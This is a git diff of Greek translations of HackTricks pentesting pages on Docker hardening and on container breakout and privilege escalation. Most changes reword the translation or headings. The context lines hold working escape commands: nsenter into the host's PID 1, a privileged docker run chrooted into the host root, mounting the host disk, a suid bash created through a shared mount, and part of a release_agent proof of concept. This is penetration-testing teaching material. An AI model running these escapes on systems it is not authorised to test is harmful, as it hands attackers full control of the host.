που καθορίζουν ποιες ενέργειες μπορεί να εκτελέσει μια ετικέτα διαδικασίας σε άλλες ετικέτες εντός του συστήματος. -- **Ετικέτες Διαδικασιών Container**: Όταν οι μηχανές container ξεκινούν διαδικασίες container, συνήθως τους ανατίθεται μια περιορισμένη ετικέτα SELinux, συνήθως `container_t`. +- **Ετικέτες Διαδικασίας Container**: Όταν οι μηχανές container ξεκινούν διαδικασίες container, συνήθως τους ανατίθεται μια περιορισμένη ετικέτα SELinux, συνήθως `container_t`. - **Ετικετοποίηση Αρχείων μέσα σε Containers**: Τα αρχεία μέσα στο container συνήθως ετικετοποιούνται ως `container_file_t`. - **Κανόνες Πολιτικής**: Η πολιτική SELinux διασφαλίζει κυρίως ότι οι διαδικασίες με την ετικέτα `container_t` μπορούν να αλληλεπιδρούν μόνο (να διαβάζουν, να γράφουν, να εκτελούν) με αρχεία που ετικετοποιούνται ως `container_file_t`. @@ -247,9 +247,9 @@ docker-privileged.md #### no-new-privileges -Εάν εκτελείτε ένα κοντέινερ όπου ένας επιτιθέμενος καταφέρνει να αποκτήσει πρόσβαση ως χρήστης χαμηλών δικαιωμάτων. Εάν έχετε ένα **κακώς ρυθμισμένο suid binary**, ο επιτιθέμενος μπορεί να το εκμεταλλευτεί και **να κλιμακώσει τα δικαιώματα μέσα** στο κοντέινερ. Αυτό μπορεί να του επιτρέψει να διαφύγει από αυτό. +Εάν εκτελείτε ένα κοντέινερ όπου ένας επιτιθέμενος καταφέρνει να αποκτήσει πρόσβαση ως χρήστης χαμηλών προνομίων. Εάν έχετε μια **κακώς ρυθμισμένη δυαδική suid**, ο επιτιθέμενος μπορεί να την εκμεταλλευτεί και να **κλιμακώσει τα προνόμια μέσα** στο κοντέινερ. Αυτό μπορεί να του επιτρέψει να διαφύγει από αυτό. -Η εκτέλεση του κοντέινερ με την επιλογή **`no-new-privileges`** ενεργοποιημένη θα **αποτρέψει αυτόν τον τύπο κλιμάκωσης δικαιωμάτων**. +Η εκτέλεση του κοντέινερ με την επιλογή **`no-new-privileges`** ενεργοποιημένη θα **αποτρέψει αυτόν τον τύπο κλιμάκωσης προνομίων**. ``` docker run -it --security-opt=no-new-privileges:true nonewpriv ``` @@ -290,7 +290,7 @@ docker run -it --security-opt=no-new-privileges:true nonewpriv ```bash docker build --secret my_key=my_value ,src=path/to/my_secret_file . ``` -Για τα μυστικά που απαιτούνται σε ένα τρέχον κοντέινερ, **Docker Compose και Kubernetes** προσφέρουν ισχυρές λύσεις. Το Docker Compose χρησιμοποιεί ένα κλειδί `secrets` στην ορισμό υπηρεσίας για να καθορίσει τα μυστικά αρχεία, όπως φαίνεται σε ένα παράδειγμα `docker-compose.yml`: +Για τα μυστικά που απαιτούνται σε ένα εκτελούμενο κοντέινερ, **Docker Compose και Kubernetes** προσφέρουν ισχυρές λύσεις. Το Docker Compose χρησιμοποιεί ένα κλειδί `secrets` στην ορισμό υπηρεσίας για να καθορίσει αρχεία μυστικών, όπως φαίνεται σε ένα παράδειγμα `docker-compose.yml`: ```yaml version: "3.7" services: @@ -305,11 +305,11 @@ file: ./my_secret_file.txt ``` Αυτή η ρύθμιση επιτρέπει τη χρήση μυστικών κατά την εκκίνηση υπηρεσιών με το Docker Compose. -Σε περιβάλλοντα Kubernetes, τα μυστικά υποστηρίζονται εγγενώς και μπορούν να διαχειριστούν περαιτέρω με εργαλεία όπως το [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Οι Ρόλοι Βασισμένοι σε Ελέγχους Πρόσβασης (RBAC) του Kubernetes ενισχύουν την ασφάλεια της διαχείρισης μυστικών, παρόμοια με το Docker Enterprise. +Σε περιβάλλοντα Kubernetes, τα μυστικά υποστηρίζονται εγγενώς και μπορούν να διαχειριστούν περαιτέρω με εργαλεία όπως το [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Οι Ρόλοι Βασισμένοι σε Ελέγχους Πρόσβασης (RBAC) του Kubernetes ενισχύουν την ασφάλεια διαχείρισης μυστικών, παρόμοια με το Docker Enterprise. ### gVisor -**gVisor** είναι ένας πυρήνας εφαρμογής, γραμμένος σε Go, που υλοποιεί ένα σημαντικό μέρος της επιφάνειας του συστήματος Linux. Περιλαμβάνει ένα [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime που ονομάζεται `runsc` και παρέχει ένα **όριο απομόνωσης μεταξύ της εφαρμογής και του πυρήνα του host**. Το runtime `runsc` ενσωματώνεται με το Docker και το Kubernetes, διευκολύνοντας την εκτέλεση απομονωμένων κοντέινερ. +**gVisor** είναι ένας πυρήνας εφαρμογής, γραμμένος σε Go, που υλοποιεί ένα σημαντικό μέρος της επιφάνειας του συστήματος Linux. Περιλαμβάνει ένα [Open Container Initiative (OCI)](https://www.opencontainers.org) runtime που ονομάζεται `runsc` και παρέχει ένα **όριο απομόνωσης μεταξύ της εφαρμογής και του πυρήνα του host**. Το runtime `runsc` ενσωματώνεται με το Docker και το Kubernetes, καθιστώντας απλό το τρέξιμο απομονωμένων κοντέινερ. {{#ref}} https://github.com/google/gvisor @@ -317,7 +317,7 @@ https://github.com/google/gvisor ### Kata Containers -**Kata Containers** είναι μια κοινότητα ανοιχτού κώδικα που εργάζεται για την κατασκευή ενός ασφαλούς runtime κοντέινερ με ελαφριές εικονικές μηχανές που αισθάνονται και αποδίδουν όπως τα κοντέινερ, αλλά παρέχουν **ισχυρότερη απομόνωση φόρτου εργασίας χρησιμοποιώντας τεχνολογία εικονικοποίησης υλικού** ως δεύτερη γραμμή άμυνας. +**Kata Containers** είναι μια κοινότητα ανοιχτού κώδικα που εργάζεται για την κατασκευή ενός ασφαλούς runtime κοντέινερ με ελαφριές εικονικές μηχανές που αισθάνονται και αποδίδουν όπως τα κοντέινερ, αλλά παρέχουν **ισχυρότερη απομόνωση φορτίου χρησιμοποιώντας τεχνολογία εικονικοποίησης υλικού** ως δεύτερη γραμμή άμυνας. {{#ref}} https://katacontainers.io/ @@ -325,20 +325,20 @@ https://katacontainers.io/ ### Συμβουλές Περίληψης -- **Μην χρησιμοποιείτε την επιλογή `--privileged` ή τοποθετήστε ένα** [**Docker socket μέσα στο κοντέινερ**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Το docker socket επιτρέπει τη δημιουργία κοντέινερ, επομένως είναι ένας εύκολος τρόπος για να αποκτήσετε πλήρη έλεγχο του host, για παράδειγμα, εκτελώντας ένα άλλο κοντέινερ με την επιλογή `--privileged`. -- **Μην εκτελείτε ως root μέσα στο κοντέινερ. Χρησιμοποιήστε έναν** [**διαφορετικό χρήστη**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **και** [**namespaces χρηστών**](https://docs.docker.com/engine/security/userns-remap/)**.** Ο root στο κοντέινερ είναι ο ίδιος με αυτόν του host εκτός αν έχει ανακατανεμηθεί με namespaces χρηστών. Είναι μόνο ελαφρώς περιορισμένος από, κυρίως, τα namespaces του Linux, τις δυνατότητες και τα cgroups. -- [**Αφαιρέστε όλες τις δυνατότητες**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) και ενεργοποιήστε μόνο αυτές που απαιτούνται** (`--cap-add=...`). Πολλές φόρτοι εργασίας δεν χρειάζονται καμία δυνατότητα και η προσθήκη τους αυξάνει την έκταση μιας πιθανής επίθεσης. -- [**Χρησιμοποιήστε την επιλογή ασφαλείας “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) για να αποτρέψετε τις διαδικασίες από το να αποκτούν περισσότερες δυνατότητες, για παράδειγμα μέσω δυαδικών suid. +- **Μην χρησιμοποιείτε την επιλογή `--privileged` ή να τοποθετείτε ένα** [**Docker socket μέσα στο κοντέινερ**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Το docker socket επιτρέπει τη δημιουργία κοντέινερ, οπότε είναι ένας εύκολος τρόπος να αποκτήσετε πλήρη έλεγχο του host, για παράδειγμα, εκτελώντας ένα άλλο κοντέινερ με την επιλογή `--privileged`. +- **Μην τρέχετε ως root μέσα στο κοντέινερ. Χρησιμοποιήστε έναν** [**διαφορετικό χρήστη**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **και** [**user namespaces**](https://docs.docker.com/engine/security/userns-remap/)**.** Ο root στο κοντέινερ είναι ο ίδιος με αυτόν στον host εκτός αν έχει ανακατανεμηθεί με user namespaces. Είναι μόνο ελαφρώς περιορισμένος από, κυρίως, Linux namespaces, δυνατότητες και cgroups. +- [**Αφαιρέστε όλες τις δυνατότητες**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) και ενεργοποιήστε μόνο αυτές που απαιτούνται** (`--cap-add=...`). Πολλά φορτία δεν χρειάζονται καμία δυνατότητα και η προσθήκη τους αυξάνει την έκταση μιας πιθανής επίθεσης. +- [**Χρησιμοποιήστε την επιλογή ασφαλείας “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) για να αποτρέψετε τις διαδικασίες από το να αποκτούν περισσότερες δυνατότητες, για παράδειγμα μέσω suid binaries. - [**Περιορίστε τους πόρους που είναι διαθέσιμοι στο κοντέινερ**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Οι περιορισμοί πόρων μπορούν να προστατεύσουν τη μηχανή από επιθέσεις άρνησης υπηρεσίας. - **Ρυθμίστε** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ή SELinux)** προφίλ για να περιορίσετε τις ενέργειες και τις syscalls που είναι διαθέσιμες για το κοντέινερ στο ελάχιστο που απαιτείται. - **Χρησιμοποιήστε** [**επίσημες εικόνες docker**](https://docs.docker.com/docker-hub/official_images/) **και απαιτήστε υπογραφές** ή κατασκευάστε τις δικές σας βασισμένες σε αυτές. Μην κληρονομείτε ή χρησιμοποιείτε [backdoored](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/) εικόνες. Αποθηκεύστε επίσης τα κλειδιά root, τη φράση πρόσβασης σε ασφαλές μέρος. Το Docker έχει σχέδια να διαχειρίζεται τα κλειδιά με το UCP. -- **Ανακατασκευάστε τακτικά** τις εικόνες σας για να **εφαρμόσετε διορθώσεις ασφαλείας στον host και τις εικόνες.** -- Διαχειριστείτε τα **μυστικά σας με σύνεση** ώστε να είναι δύσκολο για τον επιτιθέμενο να τα αποκτήσει. +- **Ανακατασκευάστε τακτικά** τις εικόνες σας για να **εφαρμόσετε ενημερώσεις ασφαλείας στον host και στις εικόνες.** +- Διαχειριστείτε τα **μυστικά σας σοφά** ώστε να είναι δύσκολο για τον επιτιθέμενο να τα αποκτήσει. - Εάν **εκθέτετε τον docker daemon χρησιμοποιήστε HTTPS** με πιστοποίηση πελάτη και διακομιστή. - Στο Dockerfile σας, **προτιμήστε το COPY αντί για το ADD**. Το ADD εξάγει αυτόματα αρχεία zip και μπορεί να αντιγράψει αρχεία από URLs. Το COPY δεν έχει αυτές τις δυνατότητες. Όποτε είναι δυνατόν, αποφύγετε τη χρήση του ADD ώστε να μην είστε ευάλωτοι σε επιθέσεις μέσω απομακρυσμένων URLs και αρχείων Zip. - Έχετε **χωριστά κοντέινερ για κάθε μικρο-υπηρεσία** - **Μην τοποθετείτε ssh** μέσα στο κοντέινερ, το “docker exec” μπορεί να χρησιμοποιηθεί για ssh στο Κοντέινερ. -- Έχετε **μικρότερες** εικόνες κοντέινερ +- Έχετε **μικρότερες** εικόνες κοντέινερ. ## Docker Breakout / Privilege Escalation @@ -358,8 +358,8 @@ authz-and-authn-docker-access-authorization-plugin.md ## Hardening Docker -- Το εργαλείο [**docker-bench-security**](https://github.com/docker/docker-bench-security) είναι ένα σενάριο που ελέγχει για δεκάδες κοινές βέλτιστες πρακτικές γύρω από την ανάπτυξη κοντέινερ Docker σε παραγωγή. Οι δοκιμές είναι όλες αυτοματοποιημένες και βασίζονται στο [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\ -Πρέπει να εκτελέσετε το εργαλείο από τον host που εκτελεί το docker ή από ένα κοντέινερ με αρκετά προνόμια. Βρείτε **πώς να το εκτελέσετε στο README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). +- Το εργαλείο [**docker-bench-security**](https://github.com/docker/docker-bench-security) είναι ένα σενάριο που ελέγχει δεκάδες κοινές βέλτιστες πρακτικές γύρω από την ανάπτυξη κοντέινερ Docker σε παραγωγή. Οι δοκιμές είναι όλες αυτοματοποιημένες και βασίζονται στο [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\ +Πρέπει να εκτελέσετε το εργαλείο από τον host που τρέχει το docker ή από ένα κοντέινερ με αρκετά προνόμια. Ανακαλύψτε **πώς να το εκτελέσετε στο README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security). ## Αναφορές diff --git a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md index 13c622ef4..bf68ad16d 100644 --- a/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md +++ b/src/linux-hardening/privilege-escalation/docker-security/docker-breakout-privilege-escalation/README.md @@ -2,17 +2,17 @@ {{#include ../../../../banners/hacktricks-training.md}} -## Αυτόματη Αρίθμηση & Διαφυγή +## Automatic Enumeration & Escape -- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Μπορεί επίσης να **αριθμήσει τα κοντέινερ** -- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Αυτό το εργαλείο είναι αρκετά **χρήσιμο για να αριθμήσει το κοντέινερ στο οποίο βρίσκεστε και να προσπαθήσει να διαφύγει αυτόματα** +- [**linpeas**](https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS): Μπορεί επίσης να **καταγράψει κοντέινερ** +- [**CDK**](https://github.com/cdk-team/CDK#installationdelivery): Αυτό το εργαλείο είναι αρκετά **χρήσιμο για να καταγράψει το κοντέινερ στο οποίο βρίσκεστε και να προσπαθήσει να διαφύγει αυτόματα** - [**amicontained**](https://github.com/genuinetools/amicontained): Χρήσιμο εργαλείο για να αποκτήσετε τα δικαιώματα που έχει το κοντέινερ προκειμένου να βρείτε τρόπους να διαφύγετε από αυτό -- [**deepce**](https://github.com/stealthcopter/deepce): Εργαλείο για να αριθμήσει και να διαφύγει από κοντέινερ +- [**deepce**](https://github.com/stealthcopter/deepce): Εργαλείο για να καταγράψει και να διαφύγει από κοντέινερ - [**grype**](https://github.com/anchore/grype): Λάβετε τα CVEs που περιέχονται στο λογισμικό που είναι εγκατεστημένο στην εικόνα -## Διαφυγή από το Εγκατεστημένο Docker Socket +## Mounted Docker Socket Escape -Αν με κάποιο τρόπο διαπιστώσετε ότι το **docker socket είναι εγκατεστημένο** μέσα στο κοντέινερ docker, θα μπορείτε να διαφύγετε από αυτό.\ +Αν με κάποιο τρόπο διαπιστώσετε ότι το **docker socket είναι τοποθετημένο** μέσα στο κοντέινερ docker, θα μπορείτε να διαφύγετε από αυτό.\ Αυτό συμβαίνει συνήθως σε κοντέινερ docker που για κάποιο λόγο χρειάζονται να συνδεθούν με το docker daemon για να εκτελέσουν ενέργειες. ```bash #Search the socket @@ -33,12 +33,12 @@ nsenter --target 1 --mount --uts --ipc --net --pid -- bash # Get full privs in container without --privileged docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash ``` -> [!NOTE] -> Σε περίπτωση που το **docker socket είναι σε απροσδόκητη τοποθεσία**, μπορείτε να επικοινωνήσετε μαζί του χρησιμοποιώντας την εντολή **`docker`** με την παράμετρο **`-H unix:///path/to/docker.sock`** +> [!TIP] +> Σε περίπτωση που το **docker socket είναι σε αναπάντεχη τοποθεσία**, μπορείτε να επικοινωνήσετε μαζί του χρησιμοποιώντας την εντολή **`docker`** με την παράμετρο **`-H unix:///path/to/docker.sock`** -Ο Docker daemon μπορεί επίσης να [ακούει σε μια θύρα (κατά προεπιλογή 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ή σε συστήματα βασισμένα σε Systemd, η επικοινωνία με τον Docker daemon μπορεί να γίνει μέσω του socket του Systemd `fd://`. +Ο Docker daemon μπορεί επίσης να [ακούει σε μια θύρα (κατά προεπιλογή 2375, 2376)](../../../../network-services-pentesting/2375-pentesting-docker.md) ή σε συστήματα βασισμένα σε Systemd, η επικοινωνία με τον Docker daemon μπορεί να συμβαίνει μέσω του socket Systemd `fd://`. -> [!NOTE] +> [!TIP] > Επιπλέον, δώστε προσοχή στα runtime sockets άλλων υψηλού επιπέδου runtimes: > > - dockershim: `unix:///var/run/dockershim.sock` @@ -82,7 +82,7 @@ capsh --print ../docker-privileged.md {{#endref}} -### Προνομιακό + hostPID +### Privileged + hostPID Με αυτές τις άδειες μπορείτε απλά να **μετακινηθείτε στο namespace μιας διαδικασίας που εκτελείται στον host ως root** όπως το init (pid:1) απλά εκτελώντας: `nsenter --target 1 --mount --uts --ipc --net --pid -- bash` @@ -92,15 +92,15 @@ docker run --rm -it --pid=host --privileged ubuntu bash ``` ### Privileged -Μόνο με την σημαία privileged μπορείτε να προσπαθήσετε να **πρόσβαση στον δίσκο του host** ή να προσπαθήσετε να **ξεφύγετε εκμεταλλευόμενοι το release_agent ή άλλες διαφυγές**. +Μόνο με την σημαία privileged μπορείτε να προσπαθήσετε να **πρόσβαση στον δίσκο του host** ή να προσπαθήσετε να **ξεφύγετε εκμεταλλευόμενοι το release_agent ή άλλες εκ escapes**. -Δοκιμάστε τους παρακάτω παρακάμψεις σε ένα κοντέινερ εκτελώντας: +Δοκιμάστε τις παρακάτω παρακάμψεις σε ένα κοντέινερ εκτελώντας: ```bash docker run --rm -it --privileged ubuntu bash ``` #### Mounting Disk - Poc1 -Καλά ρυθμισμένα docker containers δεν θα επιτρέψουν εντολές όπως **fdisk -l**. Ωστόσο, σε κακώς ρυθμισμένη docker εντολή όπου η σημαία `--privileged` ή `--device=/dev/sda1` με κεφαλαία έχει καθοριστεί, είναι δυνατόν να αποκτηθούν τα δικαιώματα για να δει κανείς τον δίσκο του host. +Καλά ρυθμισμένα docker containers δεν θα επιτρέψουν εντολές όπως **fdisk -l**. Ωστόσο, σε κακώς ρυθμισμένη docker εντολή όπου η σημαία `--privileged` ή `--device=/dev/sda1` με κεφαλαία έχει καθοριστεί, είναι δυνατό να αποκτήσετε τα δικαιώματα για να δείτε τον δίσκο του host. ![](https://bestestredteam.com/content/images/2019/08/image-16.png) @@ -109,9 +109,9 @@ docker run --rm -it --privileged ubuntu bash mkdir -p /mnt/hola mount /dev/sda1 /mnt/hola ``` -Και voilà! Τώρα μπορείτε να έχετε πρόσβαση στο σύστημα αρχείων του host γιατί είναι τοποθετημένο στον φάκελο `/mnt/hola`. +Και voilà! Μπορείτε τώρα να έχετε πρόσβαση στο σύστημα αρχείων του host γιατί είναι τοποθετημένο στον φάκελο `/mnt/hola`. -#### Τοποθέτηση Δίσκου - Poc2 +#### Mounting Disk - Poc2 Μέσα στο κοντέινερ, ένας επιτιθέμενος μπορεί να προσπαθήσει να αποκτήσει περαιτέρω πρόσβαση στο υποκείμενο λειτουργικό σύστημα του host μέσω ενός εγγράψιμου hostPath volume που έχει δημιουργηθεί από το cluster. Παρακάτω είναι μερικά κοινά πράγματα που μπορείτε να ελέγξετε μέσα στο κοντέινερ για να δείτε αν μπορείτε να εκμεταλλευτείτε αυτό το vector επιθέσεων: ```bash @@ -134,7 +134,7 @@ mount: /mnt: permission denied. ---> Failed! but if not, you may have access to ### debugfs (Interactive File System Debugger) debugfs /dev/sda1 ``` -#### Privileged Escape Κατάχρηση υπάρχοντος release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1 +#### Privileged Escape Abusing existent release_agent ([cve-2022-0492](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/)) - PoC1 ```bash:Initial PoC # spawn a new container to exploit via: # docker run --rm -it --privileged ubuntu bash @@ -282,7 +282,7 @@ sleep 1 echo "Done! Output:" cat ${OUTPUT_PATH} ``` -Η εκτέλεση του PoC μέσα σε ένα προνομιούχο κοντέινερ θα πρέπει να παρέχει έξοδο παρόμοια με: +Η εκτέλεση του PoC μέσα σε ένα προνομιακό κοντέινερ θα πρέπει να παρέχει έξοδο παρόμοια με: ```bash root@container:~$ ./release_agent_pid_brute.sh Checking pid 100 @@ -310,10 +310,10 @@ root 9 2 0 11:25 ? 00:00:00 [mm_percpu_wq] root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] ... ``` -#### Εκμετάλλευση Προνομιακής Διαφυγής μέσω Ευαίσθητων Μοντάρων +#### Privileged Escape Abusing Sensitive Mounts -Υπάρχουν αρκετά αρχεία που μπορεί να είναι μονταρισμένα και να δίνουν **πληροφορίες για τον υποκείμενο host**. Ορισμένα από αυτά μπορεί ακόμη να υποδεικνύουν **κάτι που θα εκτελείται από τον host όταν συμβεί κάτι** (το οποίο θα επιτρέψει σε έναν επιτιθέμενο να διαφύγει από το κοντέινερ).\ -Η εκμετάλλευση αυτών των αρχείων μπορεί να επιτρέψει: +Υπάρχουν αρκετά αρχεία που μπορεί να είναι προσαρτημένα και να δίνουν **πληροφορίες για τον υποκείμενο host**. Ορισμένα από αυτά μπορεί ακόμη να υποδεικνύουν **κάτι που θα εκτελείται από τον host όταν συμβεί κάτι** (το οποίο θα επιτρέψει σε έναν επιτιθέμενο να διαφύγει από το κοντέινερ).\ +Η κακή χρήση αυτών των αρχείων μπορεί να επιτρέψει: - release_agent (έχει καλυφθεί ήδη) - [binfmt_misc](sensitive-mounts.md#proc-sys-fs-binfmt_misc) @@ -327,16 +327,18 @@ root 10 2 0 11:25 ? 00:00:00 [ksoftirqd/0] sensitive-mounts.md {{#endref}} -### Αυθαίρετα Μοντάρισμα +### Arbitrary Mounts -Σε πολλές περιπτώσεις θα διαπιστώσετε ότι το **κοντέινερ έχει κάποιον όγκο μονταρισμένο από τον host**. Εάν αυτός ο όγκος δεν έχει ρυθμιστεί σωστά, μπορεί να είστε σε θέση να **πρόσβαση/τροποποιήσετε ευαίσθητα δεδομένα**: Διαβάστε μυστικά, αλλάξτε ssh authorized_keys… +Σε πολλές περιπτώσεις θα διαπιστώσετε ότι το **κοντέινερ έχει κάποιον όγκο προσαρτημένο από τον host**. Εάν αυτός ο όγκος δεν έχει ρυθμιστεί σωστά, μπορεί να είστε σε θέση να **πρόσβαση/τροποποιήσετε ευαίσθητα δεδομένα**: Διαβάστε μυστικά, αλλάξτε ssh authorized_keys… ```bash docker run --rm -it -v /:/host ubuntu bash ``` +Ένα άλλο ενδιαφέρον παράδειγμα μπορεί να βρεθεί σε [**αυτό το blog**](https://projectdiscovery.io/blog/versa-concerto-authentication-bypass-rce) όπου αναφέρεται ότι οι φάκελοι `/usr/bin/` και `/bin/` του host είναι τοποθετημένοι μέσα στο κοντέινερ, επιτρέποντας στον χρήστη root του κοντέινερ να τροποποιεί τα δυαδικά αρχεία μέσα σε αυτούς τους φακέλους. Επομένως, αν μια εργασία cron χρησιμοποιεί οποιοδήποτε δυαδικό από εκεί, όπως το `/etc/cron.d/popularity-contest`, αυτό επιτρέπει την έξοδο από το κοντέινερ τροποποιώντας ένα δυαδικό που χρησιμοποιείται από την εργασία cron. + ### Privilege Escalation with 2 shells and host mount -Αν έχετε πρόσβαση ως **root μέσα σε ένα κοντέινερ** που έχει κάποιον φάκελο από τον host τοποθετημένο και έχετε **διαφύγει ως μη προνομιούχος χρήστης στον host** και έχετε δικαιώματα ανάγνωσης πάνω από τον τοποθετημένο φάκελο.\ -Μπορείτε να δημιουργήσετε ένα **bash suid αρχείο** στον **τοποθετημένο φάκελο** μέσα στο **κοντέινερ** και να **το εκτελέσετε από τον host** για privesc. +Αν έχετε πρόσβαση ως **root μέσα σε ένα κοντέινερ** που έχει κάποιον φάκελο από τον host τοποθετημένο και έχετε **ξεφύγει ως μη προνομιούχος χρήστης στον host** και έχετε δικαιώματα ανάγνωσης πάνω στον τοποθετημένο φάκελο.\ +Μπορείτε να δημιουργήσετε ένα **bash suid file** στον **τοποθετημένο φάκελο** μέσα στο **κοντέινερ** και να **το εκτελέσετε από τον host** για privesc. ```bash cp /bin/bash . #From non priv inside mounted folder # You need to copy it from the host as the bash binaries might be diferent in the host and in the container @@ -351,7 +353,7 @@ bash -p #From non priv inside mounted folder Το Docker προστατεύει από την κακή χρήση των αρχείων συσκευών μπλοκ μέσα σε containers επιβάλλοντας μια πολιτική cgroup που **μπλοκάρει τις λειτουργίες ανάγνωσης/εγγραφής αρχείων συσκευών μπλοκ**. Παρ' όλα αυτά, αν ένα αρχείο συσκευής μπλοκ **δημιουργηθεί μέσα στο container**, γίνεται προσβάσιμο από έξω από το container μέσω του **/proc/PID/root/** καταλόγου. Αυτή η πρόσβαση απαιτεί ο **ιδιοκτήτης της διαδικασίας να είναι ο ίδιος** τόσο μέσα όσο και έξω από το container. -**Exploitation** παράδειγμα από αυτή την [**writeup**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/): +**Exploitation** παράδειγμα από αυτή την [**ανάρτηση**](https://radboudinstituteof.pwning.nl/posts/htbunictfquals2021/goodgames/): ```bash # On the container as root cd / @@ -417,35 +419,35 @@ cat /proc/635813/fd/4 Μπορείτε επίσης να **τερματίσετε διεργασίες και να προκαλέσετε DoS**. > [!WARNING] -> Εάν έχετε κάπως προνομιακή **πρόσβαση σε μια διεργασία εκτός του κοντέινερ**, θα μπορούσατε να εκτελέσετε κάτι όπως `nsenter --target --all` ή `nsenter --target --mount --net --pid --cgroup` για να **εκτελέσετε ένα shell με τους ίδιους περιορισμούς ns** (ελπίζουμε κανέναν) **όπως αυτή η διεργασία.** +> Εάν έχετε με κάποιο τρόπο προνομιακή **πρόσβαση σε μια διεργασία εκτός του κοντέινερ**, θα μπορούσατε να εκτελέσετε κάτι όπως `nsenter --target --all` ή `nsenter --target --mount --net --pid --cgroup` για να **εκτελέσετε ένα shell με τους ίδιους περιορισμούς ns** (ελπίζουμε κανέναν) **όπως αυτή η διεργασία.** ### hostNetwork ``` docker run --rm -it --network=host ubuntu bash ``` -Αν ένα κοντέινερ έχει ρυθμιστεί με τον Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), το δίκτυο του κοντέινερ δεν είναι απομονωμένο από τον Docker host (το κοντέινερ μοιράζεται το namespace δικτύου του host) και το κοντέινερ δεν αποκτά τη δική του διεύθυνση IP. Με άλλα λόγια, το **κοντέινερ δένει όλες τις υπηρεσίες απευθείας στη διεύθυνση IP του host**. Επιπλέον, το κοντέινερ μπορεί να **παρακολουθεί ΟΛΗ την κυκλοφορία δικτύου που στέλνει και λαμβάνει ο host** στην κοινή διεπαφή `tcpdump -i eth0`. +Αν ένα κοντέινερ έχει ρυθμιστεί με τον Docker [host networking driver (`--network=host`)](https://docs.docker.com/network/host/), το δίκτυο του κοντέινερ δεν είναι απομονωμένο από τον Docker host (το κοντέινερ μοιράζεται το namespace δικτύωσης του host), και το κοντέινερ δεν αποκτά τη δική του διεύθυνση IP. Με άλλα λόγια, το **κοντέινερ δένει όλες τις υπηρεσίες απευθείας στη διεύθυνση IP του host**. Επιπλέον, το κοντέινερ μπορεί να **παρακολουθεί ΟΛΗ την δικτυακή κίνηση που στέλνει και λαμβάνει ο host** στην κοινή διεπαφή `tcpdump -i eth0`. -Για παράδειγμα, μπορείτε να το χρησιμοποιήσετε για να **παρακολουθήσετε και ακόμη και να παραποιήσετε την κυκλοφορία** μεταξύ του host και της μεταδεδομένης παρουσίας. +Για παράδειγμα, μπορείτε να το χρησιμοποιήσετε για να **παρακολουθήσετε και ακόμη και να παραποιήσετε την κίνηση** μεταξύ του host και της μεταδεδομένης παρουσίας. Όπως στα παρακάτω παραδείγματα: - [Writeup: How to contact Google SRE: Dropping a shell in cloud SQL](https://offensi.com/2020/08/18/how-to-contact-google-sre-dropping-a-shell-in-cloud-sql/) - [Metadata service MITM allows root privilege escalation (EKS / GKE)](https://blog.champtar.fr/Metadata_MITM_root_EKS_GKE/) -Θα μπορείτε επίσης να έχετε πρόσβαση σε **υπηρεσίες δικτύου που είναι δεμένες με το localhost** μέσα στον host ή ακόμη και να έχετε πρόσβαση στις **άδειες μεταδεδομένων του κόμβου** (οι οποίες μπορεί να είναι διαφορετικές από αυτές που μπορεί να έχει πρόσβαση ένα κοντέινερ). +Θα μπορείτε επίσης να έχετε πρόσβαση σε **υπηρεσίες δικτύου που δένονται στο localhost** μέσα στον host ή ακόμη και να έχετε πρόσβαση στις **άδειες μεταδεδομένων του κόμβου** (οι οποίες μπορεί να είναι διαφορετικές από αυτές που μπορεί να έχει πρόσβαση ένα κοντέινερ). ### hostIPC ```bash docker run --rm -it --ipc=host ubuntu bash ``` -Με το `hostIPC=true`, αποκτάτε πρόσβαση στους πόρους επικοινωνίας διεργασιών (IPC) του κεντρικού υπολογιστή, όπως η **κοινή μνήμη** στο `/dev/shm`. Αυτό επιτρέπει την ανάγνωση/εγγραφή όπου οι ίδιοι πόροι IPC χρησιμοποιούνται από άλλες διεργασίες του κεντρικού υπολογιστή ή του pod. Χρησιμοποιήστε το `ipcs` για να εξετάσετε περαιτέρω αυτούς τους μηχανισμούς IPC. +Με το `hostIPC=true`, αποκτάτε πρόσβαση στους πόρους επικοινωνίας διεργασιών (IPC) του host, όπως η **κοινή μνήμη** στο 